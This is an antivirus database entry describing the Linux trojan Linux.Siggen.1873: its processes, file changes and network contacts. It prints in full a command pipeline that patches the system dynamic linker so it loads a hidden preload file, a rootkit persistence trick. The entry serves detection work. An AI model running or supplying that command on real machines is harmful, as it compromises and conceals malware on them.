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Linux.Siggen.1873

Added to the Dr.Web virus database: 2019-06-26

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Launches processes:
  • sh -c strings /lib/x86_64-linux-gnu/ld-2.19.so | grep /etc/ld.so.preload
  • grep /etc/ld.so.preload
  • strings /lib/x86_64-linux-gnu/ld-2.19.so
  • sh -c hexdump -ve '1/1 \"%.2X\"' /lib/x86_64-linux-gnu/ld-2.19.so | sed \"s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g\" | xxd -r -p > /lib/x86_64-linux-gnu/ld-2.19.so.tm
  • hexdump -ve 1/1 \"%.2X\" /lib/x86_64-linux-gnu/ld-2.19.so
  • sed s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g
  • xxd -r -p
  • chmod --reference /lib/x86_64-linux-gnu/ld-2.19.so /lib/x86_64-linux-gnu/ld-2.19.so.tmp
  • mv /lib/x86_64-linux-gnu/ld-2.19.so.tmp /lib/x86_64-linux-gnu/ld-2.19.so
Performs operations with the file system:
Modifies file access rights:
  • /lib/x86_64-linux-gnu/ld-2.19.so.tmp
Creates or modifies files:
  • /lib/x86_64-linux-gnu/ld-2.19.so.tmp
  • /sbin/.ifup-local
  • /tmp/<SAMPLE>.0
  • /proc/hjggkfp
  • /proc/fullprivs
  • /proc/hide-716
Deletes files:
  • /proc/hjggkfp
  • /proc/fullprivs
  • /proc/hide-716
Network activity:
Establishes connection:
  • 10#.###.123.13:61061
Sends data to the following servers:
  • 10#.###.123.13:61061
Receives data from the following servers:
  • 10#.###.123.13:61061
Other:
Collects OS information

Curing recommendations


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